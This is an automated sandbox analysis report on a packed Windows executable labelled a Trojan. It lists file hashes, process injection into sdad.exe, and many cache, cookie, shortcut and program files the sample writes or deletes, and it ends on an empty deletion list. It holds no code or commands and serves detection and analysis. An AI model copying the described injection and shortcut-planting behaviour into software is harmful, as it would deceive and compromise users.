MD5: 6159d40a10187ec03be801b3093dd94c
SHA1: 1b812640eedfcb39bc8079b2296374a310178708
SHA256: 02c78d6c9a31052a244e5b9b139bc6068db56f11b8d5b8974763dabf1bbb3e8a
SSDeep: 24576:2aRGmay4PA5NLqDYXyvDB2NeJfGaJYk1UsRNhizp:7GfQNuN7seJ 2Yk/tizp
Size: 1092379 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2009-06-07 00:41:59
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

shandian.exe:648
shandian.exe:1724

The Trojan injects its code into the following process(es):

sdad.exe:668
%original file name%.exe:1912

File activity

The process shandian.exe:648 makes changes in the file system.
The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\~DF292B.tmp (0 bytes)

The process shandian.exe:1724 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\DD_belatedPNG_0.0.8a-min[2].js (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\edKzjJ6oPX1140[1].jpg (3 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][2].txt (1876 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\setting_icon[1].gif (76 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\DD_belatedPNG_0.0.8a-min[1].js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\skin3[1].gif (818 bytes)
%Program Files%\shandian\bin\twcache.ini (696 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\20130531144119_126[1].png (3811 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\titlebg[1].png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\ufo2[1].js (19130 bytes)
%Program Files%\shandian\bin\ImgCache\123.sogou.com_favicon.ico (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\fbg_about[1].png (634 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\hotdata[1].js (478 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\selogo_111207[1].png (2510 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\main[1].js (7906 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\rec[1].do (377 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\VGX3.tmp (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\20140508103513_537[1].gif (7686 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\20140520134931_810[1].jpg (3964 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\setskinbg[1].gif (397 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\20130830161205_609[1].gif (3061 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\ufo2[2].js (19815 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (1394 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\hotdata[2].js (1368 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\selogo_111207[1].png (2891 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\_ads_2[2].js (706 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\skin2_0[1].gif (592 bytes)
%Program Files%\shandian\bin\shandian.ini.tmp (244 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@sogou[1].txt (454 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\v53_123n[1].js (2100 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\20130820165531_481[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\new-erweima2[1].png (4281 bytes)
%Program Files%\shandian\bin\theworld.ac (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\123.sogou[1] (13337 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\img-video-2[1].gif (225 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\v33_sugg_ajaj_v40_3[2].js (940 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\newioage[1].css (715 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\20140526163043_207[1].jpg (815 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\20140526151005_195[1].jpg (3523 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\v53_2icos[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\welcome_cn[1].htm (1469 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\start_button[1].jpg (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\v53_bicos[1].gif (826 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\skin_[1].css (21 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\guide_top[1].jpg (2102 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\texture[1].gif (2268 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\subnav_v41[1].png (634 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\v53_123n[2].js (3723 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (193 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\cloudy[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\main[2].js (6187 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\20140526170756_638[1].jpg (985 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\citydata[2].js (7819 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\favicon[1].ico (681 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\zd7uDX2EkK0904[1].jpg (506 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@sogou[2].txt (320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\citydata[1].js (8401 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\get_tj[1].php (2445 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\img-news[1].gif (225 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\fine[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\20140526163242_997[1].jpg (1366 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\guide_tip[1].png (3015 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\logo_1112293[1].gif (1266 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\search_arrow[1].gif (447 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\get_123_v53[1].php (17411 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\v53_arrow_h[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\i-ico-2b[1].png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\20140526163446_912[1].jpg (1434 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\icon4[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\_ads_2[1].js (678 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\selogo_111207[2].png (3362 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (9640 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\123.sogou[1].htm (13090 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\foot_slider[1].jpg (322 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\v33_sugg_ajaj_v40_3[1].js (1701 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\new-ico[1].png (211 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\skin_tips_n1[1].gif (173 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\guide_tip[2].png (2319 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\guide_tip[1].png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\main[1].js (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][2].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\DD_belatedPNG_0.0.8a-min[1].js (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\_ads_2[1].js (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@sogou[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\v53_123n[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\hotdata[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\ufo2[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\citydata[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\v33_sugg_ajaj_v40_3[1].js (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@sogou[2].txt (0 bytes)
%Program Files%\shandian\bin\shandian.ini (0 bytes)

The process sdad.exe:668 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\aaa3[1].jpg (26282 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\b17[2].jpg (16588 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\aaa7[1].jpg (5996 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\aaa10[1].jpg (3601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\aaa9[1].jpg (3981 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\stat[1].gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\id=nHRLPjm3nWRY&gp=401&time=nHnLPjmzrHckPs[1].jpg (1315 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\aaa2[2].jpg (13333 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\b18[1].jpg (10441 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\shehui_509_366[1].htm (1451 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\nvxing_509_366[1].htm (3581 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\0[1].swf (15268 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\meinv[1].htm (1450 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@mmstat[2].txt (170 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\normal_bg[1].png (14333 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\stylemini[1].css (6889 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\cpc_img[1].htm (442 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\aaa2[1].jpg (17873 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\aaa3[2].jpg (19465 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\b16[1].jpg (19594 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\core[1].php (798 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\style[1].css (73 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\b15[1].jpg (14929 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\aaa5[1].jpg (29542 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\ico_new2[1].png (23485 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\cpc_swf[1].asp (2111 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\b14[1].jpg (17993 bytes)
%Program Files%\shandian\bin\update\PopWinParam.xml (196 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\b18[1].jpg (776 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\meinv[1].htm (2043 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\shehui_509_366[1].htm (2349 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\b17[1].jpg (11713 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@70e[1].txt (513 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (20336 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\stat[1].gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\aaa1[1].jpg (14594 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\core[1].php (798 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\aaa6[1].jpg (13013 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (170 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\aaa4[2].jpg (14870 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\aaa1[1].jpg (17405 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\cpc_img[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\xinwen[1].htm (3498 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\min[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\aaa4[1].jpg (24510 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\Untitled-1[1].gif (7361 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\stat[1].gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\aaa6[1].jpg (15594 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\Untitled-2[1].gif (7761 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\aaa9[1].jpg (9562 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\cpv1[1].htm (1117 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\lieqi_509_366[1].htm (4048 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\stat[1].gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\stat[1].php (2463 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\aaa10[1].jpg (9462 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\aaa8[1].jpg (9622 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@70e[2].txt (269 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\b19[1].jpg (8201 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@565882[1].txt (139 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\cpc_ztyw[1].css (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\Close[1].gif (348 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\b13[1].jpg (18733 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][2].txt (410 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (615 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][2].txt (692 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\jquery-1.7.2.min[1].js (59725 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\b15[1].jpg (17013 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\2012_swf[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\jiankang_509_366[1].htm (2088 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\close[1].png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\id=nHRLPjm3nWRY&gp=401&time=nHnLPjmzrHckPs[1].jpg (1963 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\jiankang_509_366[1].htm (3105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\aaa8[2].jpg (2820 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz[2].txt (330 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\lieqi_509_366[1].htm (3906 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\xinwen[1].htm (2418 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\aaa7[1].jpg (10441 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\stat[2].gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\nvxing_509_366[1].htm (3525 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\aaa5[1].jpg (23041 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\tj[1].js (279 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\b13[1].jpg (3656 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\Untitled-3[1].jpg (11612 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\b16[1].jpg (19073 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (330 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\miniindex[1].htm (4033 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\jquery-1.7.2.min[1].js (8326 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\b19[1].jpg (9181 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\b14[1].jpg (16894 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (1011 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\aaa3[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@70e[2].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\cpc_swf[1].asp (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz[2].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\core[1].php (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\aaa10[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\b18[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\aaa7[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\meinv[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\style[1].css (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\b19[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\aaa8[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@70e[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\shehui_509_366[1].htm (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\aaa1[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\nvxing_509_366[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\xinwen[1].htm (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][2].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\b13[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\aaa4[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\aaa2[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][2].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\b15[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\lieqi_509_366[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\b16[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\b17[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\aaa6[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\aaa9[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\style[1].css (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\id=nHRLPjm3nWRY&gp=401&time=nHnLPjmzrHckPs[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\jiankang_509_366[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\aaa5[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\b14[1].jpg (0 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (0 bytes)

The process %original file name%.exe:1912 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\shandian\ico\360.ico (32 bytes)
%Documents and Settings%\%current user%\Desktop\Internet Explorer.lnk (1 bytes)
%Program Files%\shandian\bin\shandian.ini (74 bytes)
%Program Files%\shandian\home.bat (691 bytes)
%Program Files%\shandian\bin\shandian.exe (28332 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp\xID.dll (10 bytes)
%Program Files%\shandian\ico\ie.ico (700 bytes)
%Documents and Settings%\%current user%\Desktop\ÉÁµçä¯ÀÀÆ÷.lnk (505 bytes)
%Program Files%\shandian\config.ini (194 bytes)
%Program Files%\shandian\uninst.exe (2250 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\ÉÁµçä¯ÀÀÆ÷.lnk (700 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\stat[1].htm (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp\bind.dll (1608 bytes)
%Program Files%\shandian\ico\anquan.ico (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp\config.ini (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp\Md5dll.dll (8 bytes)
%Program Files%\shandian\ico\taobao.ico (15 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\ÉÁµçä¯ÀÀÆ÷\ÉÁµçä¯ÀÀÆ÷.lnk (694 bytes)
%Program Files%\shandian\bin\sdad.exe (12955 bytes)
%Program Files%\shandian\shandian.exe (3121 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\ÉÁµçä¯ÀÀÆ÷\жÔØÉÁµçä¯ÀÀÆ÷.lnk (682 bytes)
%Documents and Settings%\%current user%\Desktop\360°²È«ä¯ÀÀÆ÷.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp\config0.ini (3 bytes)

The Trojan deletes the following file(s):

